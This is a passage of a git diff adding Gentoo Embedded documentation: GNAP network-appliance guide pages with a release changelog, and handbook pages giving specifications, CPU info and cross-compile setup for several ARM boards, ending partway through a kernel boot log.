+     username:cryptedpassword lines.</ti>
+ <ti><c>root:$1$o0YB.OW/$llYLxHFYX5DQrZF7FZicJ0</c></ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>gnap_overlay and gnap_remaster options</title>
+<body>
+
+<p>
+Please refer to the man pages for information on all the options available
+in these commands:
+</p>
+
+<pre caption="getting more information about gnap_overlay or gnap_remaster">
+$ man gnap_overlay
+$ man gnap_remaster
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/embedded/gnap.xml b/xml/htdocs/proj/en/base/embedded/gnap.xml
new file mode 100644
index 00000000..87676f9d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/gnap.xml
@@ -0,0 +1,454 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/base/embedded/gnap.xml">
+<title>Gentoo Network Appliance (GNAP)</title>
+<author title="Author">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+
+<abstract>
+This document is the GNAP entry page. It describes the features of the
+current and future GNAP releases.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.0</version>
+
+<date>April 20, 2006</date>
+
+<chapter>
+<title>Introduction to GNAP</title>
+<section>
+<title>What is GNAP ?</title>
+<body>
+
+<p>
+The acronym GNAP stands for Gentoo Network APpliance. It's an easy way to build
+Gentoo-based network appliance systems, ready for use in old PCs or embedded
+devices without the need for a full installation.
+</p>
+
+<p>
+Using GNAP, you can build in a few minutes target systems geared toward network
+services like routing, firewalling, traffic profiling, VPN and network
+monitoring, that will run directly from a LiveCD or a disk device (including
+CompactFlash cards or DiskOnModules).
+</p>
+
+<p>
+Specific configuration files are added to the LiveCD or disk to customize its
+behaviour. Those systems can run stateless, making them easy to restart,
+and impossible to permanently compromise. They can also save their modified
+configuration so that they don't need to be rebuilt all the time.
+</p>
+
+</body>
+</section>
+<section>
+<title>But why GNAP ?</title>
+<body>
+
+<p>
+I had a bunch of old PCs with fragile components, and wanted to use them as
+internal routers and firewalls. I wanted to be able to easily switch PCs in
+case of failure. Using removable media with a burned-on configuration is the
+most flexible way I found. When it fails, just put the media on another
+machine. I started by using
+<uri link="http://leaf.sourceforge.net/mod.php?mod=userpage&amp;menu=910&amp;page_id=36">LEAF Bering-uClibc</uri>
+floppy-based firewalls but was quickly
+undermined by problems: media fragility, difficulty to automate creation of
+floppies and lack of easy extensibility.
+I switched to LEAF Bering-uClibc
+<uri link="http://leaf.sourceforge.net/doc/guide/bubooting.html#id2572755">CDROM-based configurations</uri>,
+with a web-based automated ISO generation. This solved most of the
+problems but the extensibility problems remain, and maintaining the web-app
+was becoming a nightmare.
+</p>
+
+<p>
+I finally chose to leverage Gentoo
+<uri link="http://www.gentoo.org/proj/en/releng/catalyst/">Catalyst</uri>
+power to build custom LiveCDs,
+solving both the extensibility problem and the non-standard solution
+maintenance. The idea was to have a generic LiveCD core that I could build once
+and use everywhere, and burn on the CD a specific configuration overlay to
+customize the appliance role. This simplifies CD generation as you don't have
+to go through the whole Catalyst process to customize a specific LiveCD.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fast to build, easy to maintain up to date</title>
+<body>
+
+<p>
+To create a GNAP system, use the provided GNAP Core and create configuration
+overlays detailing your specific needs. Using the <c>gnap_overlay</c> script,
+in a few seconds your overlays are combined to the GNAP Core to produce a new
+LiveCD ISO file. Burn this file to a CD, put it inside an old box (no hard
+disk or mouse needed), and boot. Alternatively, use the same script to
+initialize a disk device with a complete bootable filesystem, put the disk in
+its target environment, and boot.
+</p>
+
+<p>
+To completely update a GNAP configuration, just modify your saved overlay and
+combine it to the latest GNAP Core to produce an updated GNAP system.
+Reboot the appliance with the new system. You're done.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Documentation</title>
+<section>
+<title>GNAP User Guide</title>
+<body>
+
+<p>
+The <uri link="gnap-userguide.xml">GNAP User Guide</uri> covers everything
+you need to know to produce and customize GNAP systems. Read it and start
+using GNAP today !
+</p>
+
+</body>
+</section>
+<section>
+<title>GNAP Advanced User Guide</title>
+<body>
+
+<p>
+The <uri link="gnap-advancedguide.xml">GNAP Advanced User Guide</uri> gives
+information for power users that want to further customize and modify what
+their GNAP systems can do. You should be familiar with GNAP systems and Gentoo
+systems in general before reading this guide.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Standard features</title>
+<section>
+<body>
+
+<ul>
+<li>Stripped down system with squashfs compressed filesystem (13Mb)</li>
+<li>hardened-sources 2.6 kernel</li>
+<li>GRsec kernel security patch enabled, including PaX address
+    randomization</li>
+<li>Small footprint executables with PIE/SSP security protection
+    (Gentoo uclibc/x86/hardened profile)</li>
+<li>Features supported as configuration options: Dropbear (SSH server),
+    Shorewall/FireHOL (iptables firewall helpers), traffic control using
+    cbqinit or htbinit, OpenVPN, OpenNTPD (time synchronisation), DNSMasq
+    (DNS relay and DHCP server), RP-PPPOE</li>
+<li>Utilities: Watch network traffic flow using iftop or tcpdump</li>
+<li>Standard Extensions: boa HTTP server, rrdtool graph backend, 
+    dash shell</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Resources</title>
+<section>
+<title>CVS and Bugs database</title>
+<body>
+
+<p>
+GNAP CVS repository can be browsed
+<uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/embedded/gnap/?root=gentoo-projects">here</uri>.
+</p>
+
+<p>
+GNAP uses <uri link="http://bugs.gentoo.org/">Gentoo Bugzilla</uri> as its
+bugsystem. Please select the "Gentoo-hosted projects" product and the "GNAP"
+component when opening a GNAP bug. Alternatively you can click
+<uri link="https://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Hosted%20Projects&amp;component=GNAP">here</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Communication channels</title>
+<body>
+
+<p>
+The GNAP project is part of Gentoo Linux's Embedded Project and shares
+communication channels with it. You can
+<uri link="http://www.gentoo.org/main/en/lists.xml">subscribe</uri> to the
+<e>gentoo-embedded@gentoo.org</e> mailing-list or discuss on the
+<e>#gentoo-embedded</e> official
+<uri link="http://www.gentoo.org/main/en/irc.xml">IRC channel</uri>.
+</p>
+
+<p>
+A GNAP-specific IRC channel has also be created for GNAP users to meet, it is
+located at <e>#gentoo-gnap</e> on FreeNode.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Changelog</title>
+
+<section>
+<title>GNAP 2.0 (2006/04/20)</title>
+<body>
+
+<ul>
+<li>GNAP now uses Catalyst 2.0 (still at RC phase) for improved results</li>
+<li>gnap_make now supports writing to image files, thanks to hansmi's
+    patch</li>
+<li>Multiple bugfixes and syntax fixes</li>
+<li>Support for scp included</li>
+<li>3% smaller than the 1.8.2 release thanks to even more fat trimming</li>
+<li>20060416 portage snapshot compatibility, including multiple security
+    fixes and improvements</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>GNAP 1.8.2 (2005/10/21)</title>
+<body>
+
+<ul>
+<li>Wrong permissions on /var/empty were preventing OpenNTPD to start
+    correctly (bug #105563)</li>
+<li>Even less fat: the dash shell (potentially used to speed up Shorewall
+    parsing) is now an extension, dropbear is built as a multicall binary,
+	and pgawk was removed</li>
+<li>20051019 portage snapshot compatibility, including openSSL protocol
+    rollback fixes</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>GNAP 1.8.1 (2005/08/30)</title>
+<body>
+
+<ul>
+<li>GNAP 1.8 was suffering from network start problems (bug #102247)</li>
+<li>Wrong permissions on the GNAP system root directory were preventing
+    users other than root from doing anything (bug #103463)</li>
+<li>An error in the GNAP 1.8 ebuild was installing the root_overlay specs
+    subdirectory contents without preserving permissions (bug #102985)</li>
+<li>Extensions were not preserving file ownership and permissions, resulting
+    in failure to operate in some cases (bug #103004)</li>
+<li>GNAP now supports using a .tar.bz2 specs directory, and the <c>-e</c>
+    option now accepts relative paths</li>
+<li>20050829 portage snapshot compatibility, including openVPN DoS fixes</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>GNAP 1.8 (2005/08/10)</title>
+<body>
+
+<ul>
+<li>New feature to automate configuration changes backup (bug #86241). See the
+    <c>RW_SYNC</c> option in <path>overlay.conf</path>, which replaces the
+    <c>RW_OVERLAY</c> option (deprecated)</li>
+<li>GNAP kernel now supports n_hdlc line discipline to use with synchronous
+    PPP (bug #99115), and vfat filesystems as r/w overlays</li>
+<li>Support to specify account password initialization (chpasswd) and services
+    to start (services_start) as files on the target filesystem</li>
+<li>Support for customizable baudrate on the serial console</li>
+<li>Possibility to use genkernel-built packages (minkernpackage,
+    modulespackage) as GNAP extensions</li>
+<li><c>gnap_make</c> now starts from Portage snapshot files rather than
+    requiring a Catalyst snapshot stage. A reduced Portage snapshot is now
+    shipped in the gnap-dev package to facilitate GNAP rebuild</li>
+<li>Easier filesystem customization using <path>root_overlay/</path> in
+    <c>gnap_make</c></li>
+<li>Support for distcc building, in case you have uclibc-powered systems to use
+    as build partners...</li>
+<li>The rrdtool backend, which was a standard core feature, has been moved to
+    a standard extension. Use <c>gnap_remaster -e rrdtool</c> to rebuild the
+    core with that extension included</li>
+<li>20050808 portage snapshot compatibility, including zlib security fixes</li>
+<li>GNAP now uses udev as its device manager, anticipating devfs removal in
+    future kernels</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.7.1 (2005/06/23)</title>
+<body>
+
+<ul>
+<li>Bug #96050: Building extensions with multiple packages was resulting
+    in a failure (patch from BaSS)</li>
+<li><c>gnap_overlay</c> option <c>-s</c> (use serial console) was not properly
+    supported</li>
+<li>20050621 portage snapshot compatibility</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.7 (2005/05/31)</title>
+<body>
+
+<ul>
+<li>Bug #92239: It was impossible to use multiple overlays (<c>-o</c> option)
+    in <c>gnap_overlay</c> (patch from Paul Smith)</li>
+<li>GNAP now supports overlays from a r/w partition at boot time, allowing
+    to save configuration changes back to a floppy or a CF partition. See the
+    <c>RW_OVERLAY</c> option in <path>overlay.conf</path></li>
+<li>GNAP now supports the concept of "extensions", making it easier to
+    extand GNAP functionality. The <c>gnap-ext</c> package contains
+    standard prebuilt extensions and the new <c>gnap_remaster</c> tool you
+    can use to add extensions to a core. <c>gnap_make</c> has been extended
+    to allow building your own extensions (<c>-t extensions</c> option),
+    without requiring a complete core rebuild</li>
+<li>The boa HTTP server, which was a standard core feature, has been moved to
+    a standard extension. Use <c>gnap_remaster -e boa</c> to rebuild the core
+    with that extension included</li>
+<li>More features, but always slimmer: GNAP 1.7 is 9% smaller than GNAP
+    1.5</li>
+<li>20050529 portage snapshot compatibility, including OpenVPN 2.0</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.6 (2005/05/17)</title>
+<body>
+
+<ul>
+<li>DHCP was in fact not working since a few versions. It's back, and it's
+    automatically used when no /etc/conf.d/net file is overlaid</li>
+<li>In Disk mode, console was only appearing on the serial port. It now
+    appears by default on the default console and can be swicthed to use
+    serial using the new <c>-s</c> option</li>
+<li><c>gnap_make</c> has a new <c>-o</c> option to specify a portage overlay
+    to use in your snapshots (patch from Nick Lemberger)</li>
+<li>20050515 portage snapshot compatibility</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.5.1 (2005/04/20)</title>
+<body>
+
+<ul>
+<li>GNAP is now available in Portage directly</li>
+<li><c>gnap_overlay</c> disk-mode was not working in 1.5</li>
+<li><c>gnap_overlay</c> was warning about ISO overwrite even if there wasn't
+    a file with the same name</li>
+<li>20050419 portage snapshot compatibility</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.5 (2005/04/06)</title>
+<body>
+
+<ul>
+<li><c>gnap_make</c> and <c>gnap_overlay</c> have been extensively rewritten
+    for prettier output, better warnings and handling of errors and
+    position-independant parameters support</li>
+<li>Now includes man pages and support for installation from Portage</li>
+<li>Support for multiple overlay directories and using tar.bz2 files
+    (conflets) as overlay sources</li>
+<li>No more "/etc/init.d/serial missing" warnings during boot</li>
+<li>20050404 portage snapshot, including a dnsmasq security update</li>
+<li>6.5 % smaller than version 1.2 core file !</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.2.1 (2005/03/21)</title>
+<body>
+
+<ul>
+<li>hardened-dev-sources-2.6.11-r1 with recent GRSEC security fixes</li>
+<li><c>gnap_make</c> now creates the necessary temporary directories under
+    <path>/var/tmp/catalyst</path> at first run.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.2 (2005/02/15)</title>
+<body>
+
+<ul>
+<li>hardened-dev-sources-2.6.10</li>
+<li>RP-PPPOE is now supported (see USE_PPPOE option in
+    overlay.conf)</li>
+<li>Support for the FireHOL iptables script, in addition to Shorewall (see
+    FW_TYPE option in overlay.conf)</li>
+<li>A minimal firewall is started before the network and the shorewall/firehol
+    script, allowing full protection while still enabling any Shorewall
+    configuration options</li>
+<li>Support for the htbinit traffic control script, in addition to cbqinit
+    (see the USE_TC and TC_TYPE options in overlay.conf)</li>
+<li>iputils (ping, tracepath...), which was unavailable in 1.1, is back !</li>
+<li><c>gnap_overlay</c> now ignores <path>CVS/</path> subdirectories,
+    allowing you to use CVS to control versions on your overlay files without
+    bringing unnecessary fat into your GNAP system</li>
+<li>More features, less fat: GNAP 1.2 core is 5% smaller than GNAP 1.1</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.1 (2005/01/06)</title>
+<body>
+
+<ul>
+<li>Boa (HTTP server) is now supported (see USE_HTTP option in
+    overlay.conf)</li>
+<li>rrdtool can be used to store and graph statistics</li>
+<li>Boot speedups (new baselayout scripts, possibility to use "dash" as the
+    SHOREWALL_SHELL)</li>
+<li>OpenNTPD now support "-s" option in /etc/conf.d/ntpd to set time at
+    startup</li>
+<li>Shorewall is now started before the network for full protection</li>
+<li>OpenSSH has been replaced by Dropbear to make GNAP even smaller despite
+    all those new features</li>
+<li>A README.upgrading file has been added to the gnap-tools to help in
+    upgrading existing configurations</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GNAP 1.0 (2004/12/03)</title>
+<body>
+
+<ul>
+<li>DNSMasq (DNS relay and DHCP server) is now supported (see USE_DNSDHCP
+    option in overlay.conf)</li>
+<li>GNAP uses recent (~x86) baselayout
+    (supports iproute2-style network configuration)</li>
+<li>Speedups in overlaying (one single pass to add all services)</li>
+<li>14% smaller (now fits a 16Mb CF card)</li>
+<li>No more "CONFIG_HOTPLUG not enabled" error</li>
+<li>Replaced buggy ntpd by smaller and nicer OpenNTPD</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/embedded/gnap_make.png b/xml/htdocs/proj/en/base/embedded/gnap_make.png
new file mode 100644
index 00000000..27d377d3
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/gnap_make.png
diff --git a/xml/htdocs/proj/en/base/embedded/gnap_overlay.png b/xml/htdocs/proj/en/base/embedded/gnap_overlay.png
new file mode 100644
index 00000000..12f3d2a1
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/gnap_overlay.png
diff --git a/xml/htdocs/proj/en/base/embedded/gnap_remaster.png b/xml/htdocs/proj/en/base/embedded/gnap_remaster.png
new file mode 100644
index 00000000..a4130326
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/gnap_remaster.png
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-efikamx.xml b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-efikamx.xml
new file mode 100644
index 00000000..98f4b4d6
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-efikamx.xml
@@ -0,0 +1,88 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-efikamx.xml,v 1.2 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Little-endian ARMv7-A from Genesi.
+</abstract>
+
+<version>0.1</version>
+<date>2009-12-10</date>
+
+<section>
+<title>Gentoo documentation</title>
+<body>
+<p>
+The Efika MX is on process of being supported, thanks to
+<uri link="http://www.genesi-usa.com">Genesi</uri> who provided us with
+hardware to bring this forward.
+</p>
+<!--
+<ul>
+	<li><uri link="http://dev.gentoo.org/~armin76/arm/sheevaplug/install.xml">Documentation about installing Gentoo on the Marvell Sheevaplug</uri></li>
+</ul>
+-->
+</body>
+</section>
+
+<section>
+<title>Genesi Efika MX specifications</title>
+<body>
+<pre caption="Board Specifications">
+# Freescale i.MX51 SoC
+# ARMv7-A 800MHz ARM Cortex-A8 processor
+# 512MB DDR2 RAM
+# 4GB USB SSD Flash
+# Ralink RT3070USB Wireless card
+# ASIX AX88772 USB 2.0 Ethernet card
+# Soundcard
+# 
+# 1x SDHC slot
+# 2x USB 2.0 ports
+# 1x HDMI out
+# 1x Audio IN
+# 1x Audio OUT
+# 1x Ethernet 100Mbps
+# Power button
+#
+# Board with serial and JTAG
+</pre>
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+<pre caption="CPU Info">
+Processor	: ARMv7 Processor rev 1 (v7l)
+BogoMIPS	: 799.53
+Features	: swp half thumb fastmult vfp edsp 
+CPU implementer	: 0x41
+CPU architecture: 7
+CPU variant	: 0x2
+CPU part	: 0xc08
+CPU revision	: 1
+
+Hardware	: Genesi Efika MX
+Revision	: 51025
+Serial		: 0000000000000000
+</pre>
+</body>
+</section>
+<section>
+<title>References:</title>
+<body>
+<ul>
+	<li><uri link="http://www.genesi-usa.com/">Genesi USA</uri></li>
+	<li><uri link="http://www.powerdeveloper.org/">PowerDeveloper.org</uri></li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-nailboard.xml b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-nailboard.xml
new file mode 100644
index 00000000..b107450e
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-nailboard.xml
@@ -0,0 +1,139 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-nailboard.xml,v 1.10 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Little-endian armv4l board.
+</abstract>
+
+<version>0.1</version>
+<date>2008-04-18</date>
+
+<section>
+<title>Nail Board Specifications:</title>
+<body>
+<pre caption="Board Specifications">
+
+# All power received from the USB port (no external power supply required)
+# Male (upstream) USB connector
+# Female (downstream) USB connector
+# Complete USB JTAG device on board (via internal FT2232)
+# USB Hub on board
+# USB serial port console (via internal FT2232)
+# USB controlled GPIO's (for configuration)
+# USB gadget interface (via the Hammer module)
+    * Ethernet Gadget Driver (default)
+    * Serial Port Gadget Driver
+    * Mass Storage Driver
+
+# USB host interface (via the Hammer module)
+    * USB 1.1 Compliant
+    * Low Speed Support (2mb)
+    * Full Speed Support (12mb)
+
+# 3 User LED's available
+    * Two on the Nail Board
+    * One user LED on the Hammer module
+    * USER led on the Hammer Board
+
+# 2 interrupt driven pushbutton switches
+# User controlled PWM buzzer
+# Reset button
+# Power LED
+# Expansion header (20-pin: 2 x10)
+    * +5V available
+    * +3.3V available
+    * 2 SPI ports
+    * 2 wire Serial Port  (TX/RX)
+    * GPIO's
+    * External Interrupts
+    * Headers can be jumper configured
+
+# Hammer module breakout header
+    * Access to all 40 I/O pins of the Hammer module
+    * 0.1 inch headers
+</pre>
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+<pre caption="CPU Info">
+Processor	: ARM920T rev 0 (v4l)
+BogoMIPS	: 101.17
+Features	: swp half thumb 
+CPU implementer	: 0x41
+CPU architecture: 4T
+CPU variant	: 0x1
+CPU part	: 0x920
+CPU revision	: 0
+Cache type	: write-back
+Cache clean	: cp15 c7 ops
+Cache lockdown	: format A
+Cache format	: Harvard
+I size		: 16384
+I assoc		: 64
+I line length	: 32
+I sets		: 8
+D size		: 16384
+D assoc		: 64
+D line length	: 32
+D sets		: 8
+
+Hardware	: TCT_HAMMER
+Revision	: 0000
+Serial		: 0000000000000000
+</pre>
+</body>
+</section>
+
+
+<section>
+<title>Cross Compile Preparation</title>
+<body>
+
+<pre caption="Setup uClibc">
+echo '>=cross-arm-softfloat-linux-uclibc/gcc-4' >> /etc/portage/package.mask
+echo 'dev-embedded/openocd ft2232 ftdi' >> /etc/portage/package.use
+modprobe ftdi_sio
+emerge openocd
+ACCEPT_KEYWORDS="~*" emerge crossdev
+crossdev arm-softfloat-linux-uclibc
+</pre>
+
+<pre caption="Setup uClibc + EABI">
+echo '>=cross-armv4l-softfloat-linux-uclibceabi/gcc-4' >> /etc/portage/package.mask
+echo 'dev-embedded/openocd ft2232 ftdi' >> /etc/portage/package.use
+modprobe ftdi_sio
+emerge openocd
+ACCEPT_KEYWORDS="~*" emerge crossdev
+crossdev armv4tl-softfloat-linux-uclibceabi
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>References:</title>
+<body>
+<ul>
+	<li><uri link="http://tincantools.com">TinCanTools</uri></li>
+	<li><uri link="http://www.elinux.org/Category:TCT-Hammer">TCT-Hammer Wiki</uri></li>
+	<li><uri link="http://www.elinux.org/Hammer_Board">Hammer Board</uri></li>
+	<li><uri link="http://www.elinux.org/Nail_Board">Nail Board</uri></li>
+	<li><uri link="http://elinux.org/upload/e/ef/Hammer-kernel-config">Default Kernel Config</uri></li>
+	<li><uri link="http://elinux.org/upload/d/d7/Nail_schematic.pdf">Nail Schematic</uri></li>
+	<li><uri link="http://dev.gentoo.org/~solar/embedded/tct/gnail-20080609.tar.bz2">(Gentoo Embedded) Reference Firmware</uri></li>
+	<li><uri link="http://dev.gentoo.org/~solar/embedded/tct/linux-2.6.22.config">(Gentoo Embedded) Reference Kernel Config</uri></li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-netusg20.xml b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-netusg20.xml
new file mode 100644
index 00000000..03acd4ff
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-netusg20.xml
@@ -0,0 +1,261 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-netusg20.xml,v 1.2 2010/08/30 03:59:06 nightmorph Exp $ -->
+<!-- Based on boards-arm-sheevaplug.xml -->
+
+<sections>
+
+<abstract>
+Netus G20 (ARMv5TE) from ACME SYSTEMS.
+</abstract>
+
+<version>0.1</version>
+<date>2009-11-01</date>
+
+<section>
+<title>Gentoo documentation</title>
+<body>
+
+<p>
+The <uri link="http://netus.acmesystems.it/doku.php">Netus G20</uri> is
+a 4x4cm Linux ready core engine based on the Atmel(TM) AT91SAM9G20 (ARMv5TE)
+and sold by <uri link="http://acmesystems.it/">ACME SYSTEMS</uri>.
+It is supported on Gentoo thanks to the vendor and in special to
+<uri link="http://netus.kdev.it">Davide Cantaluppi</uri> who maintains it.
+In fact, Gentoo is the default OS shipped with this device.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>ACME SYSTEMS Netus G20 specifications</title>
+<body>
+
+<pre caption="Board Specifications">
+# CPU <uri link="http://www.atmel.com/dyn/products/product_card.asp?part_id=4337">Atmel AT91SAM9G20</uri> based on ARM926EJ-S with clock speed of 400MHz.
+# 64MBytes of SDRAM with 32bit access.
+# 8MBytes of Dataflash.
+# Size 40x40mm. Weight 10g.
+# Operative temperature range: -20º + 70º
+# Four 60 pin connectors (0.8mm pitch) with the following signals available on top and bottom sides (<uri link="http://netus.acmesystems.it/doku.php?id=hw:netusg20pinout">see the pinout</uri>)
+  # One USB 2.0 Full Speed (12 Mbits per second) Device Port.
+  # Two USB 2.0 Full Speed (12 Mbits per second) Host Ports.
+  # One Ethernet MAC 10/100 Base T Port.
+  # Image Sensor Interface (ITU-R BT. 601/656 12 bit).
+  # One Two-slot MultiMedia Card Interface (MCI). SDCard/SDIO and MultiMediaCard(TM) Compliant.
+  # Four Universal Synchronous/Asynchronous Receiver Transmitters (USART) with RS485 support.
+  # Two 2-wire UARTs.
+  # Two Master/Slave Serial Peripheral Interfaces (SPI).
+  # One Synchronous Serial Controller (SSC). I2S Analog Interface Support.
+  # Two Wire Interface
+  # Four-channel 10-bit ADC.
+  # 80 general purpose I/O lines multiplexed with up to two peripheral I/Os.
+    # Individually Programmable Open-drain, Pull-up Resistor and Synchronous Output.
+    # All I/O Lines are Schmitt Trigger when programmed as inputs.
+    # Input Change Interrupt Capability on Each I/O Line.
+  # Serial 2 wire console port.
+  # JTAG Console and Boundary Scan on All Digital Pins (IEEE(R) 1149.1).
+# Two Three-channel 16-bit Timer/Counters with PWM Generation.
+# Watchdog timer.
+# Real-time clock (optional external battery backup).
+# Very Slow Clock Operating Mode.
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+
+<pre caption="CPU Info">
+netusg20 / # cat /proc/cpuinfo
+Processor    : ARM926EJ-S rev 5 (v5l)
+BogoMIPS    : 197.83
+Features    : swp half thumb fastmult edsp java
+CPU implementer    : 0x41
+CPU architecture: 5TEJ
+CPU variant    : 0x0
+CPU part    : 0x926
+CPU revision    : 5
+
+Hardware    : Atmel AT91SAM9G20-EK
+Revision    : 0000
+Serial        : 0000000000000000
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>dmesg</title>
+<body>
+
+<pre caption="Kernel messages">
+Linux version 2.6.31-gentooGentooNETUSembedded (root@localhost) (gcc version
+4.3.3 (Gentoo 4.3.3 p1.0, pie-10.1.5) ) #29 Fri Oct 16 12:00:28 CEST 2009
+CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00053177
+CPU: VIVT data cache, VIVT instruction cache
+Machine: Atmel AT91SAM9G20-EK
+Memory policy: ECC disabled, Data cache writeback
+On node 0 totalpages: 16384
+free_area_init_node: node 0, pgdat c04046a0, node_mem_map c0426000
+  Normal zone: 128 pages used for memmap
+  Normal zone: 0 pages reserved
+  Normal zone: 16256 pages, LIFO batch:3
+Clocks: CPU 396 MHz, master 132 MHz, main 18.432 MHz
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256
+Kernel command line: mem=64M console=ttyS0,115200 rootdelay=5
+root=/dev/mmcblk0p1 rw rootfstype=reiserfs rootflags=data=writeback
+init=/sbin/init nodevfs
+PID hash table entries: 256 (order: 8, 1024 bytes)
+Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
+Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
+Memory: 64MB = 64MB total
+Memory: 60652KB available (3840K code, 256K data, 108K init, 0K highmem)
+Hierarchical RCU implementation.
+NR_IRQS:192
+AT91: 96 gpio irqs in 3 banks
+Console: colour dummy device 80x30
+console [ttyS0] enabled
+Calibrating delay loop... 197.83 BogoMIPS (lpj=989184)
+Mount-cache hash table entries: 512
+CPU: Testing write buffer coherency: ok
+NET: Registered protocol family 16
+tcb_clksrc: tc0 at 16.012 MHz
+bio: create slab &lt;bio-0&gt; at 0
+SCSI subsystem initialized
+usbcore: registered new interface driver usbfs
+usbcore: registered new interface driver hub
+usbcore: registered new device driver usb
+Bluetooth: Core ver 2.15
+NET: Registered protocol family 31
+Bluetooth: HCI device and connection manager initialized
+Bluetooth: HCI socket layer initialized
+NET: Registered protocol family 2
+Switched to high resolution mode on CPU 0
+IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
+TCP established hash table entries: 2048 (order: 2, 16384 bytes)
+TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
+TCP: Hash tables configured (established 2048 bind 2048)
+TCP reno registered
+NET: Registered protocol family 1
+squashfs: version 4.0 (2009/01/31) Phillip Lougher
+NTFS driver 2.1.29 [Flags: R/W].
+JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
+JFS: nTxBlock = 474, nTxLock = 3795
+msgmni has been set to 118
+io scheduler noop registered
+io scheduler deadline registered (default)
+atmel_usart.0: ttyS0 at MMIO 0xfefff200 (irq = 1) is a ATMEL_SERIAL
+atmel_usart.1: ttyS1 at MMIO 0xfffb0000 (irq = 6) is a ATMEL_SERIAL
+atmel_usart.2: ttyS2 at MMIO 0xfffb4000 (irq = 7) is a ATMEL_SERIAL
+atmel_usart.3: ttyS3 at MMIO 0xfffb8000 (irq = 8) is a ATMEL_SERIAL
+atmel_usart.4: ttyS4 at MMIO 0xfffd0000 (irq = 23) is a ATMEL_SERIAL
+brd: module loaded
+loop: module loaded
+ssc ssc.0: Atmel SSC device at 0xc48d8000 (irq 14)
+PPP generic driver version 2.4.2
+MACB_mii_bus: probed
+eth0: Atmel MACB at 0xfffc4000 irq 21 (3a:1f:34:08:54:54)
+eth0: attached PHY driver [Generic PHY] (mii_bus:phy_addr=ffffffff:00,
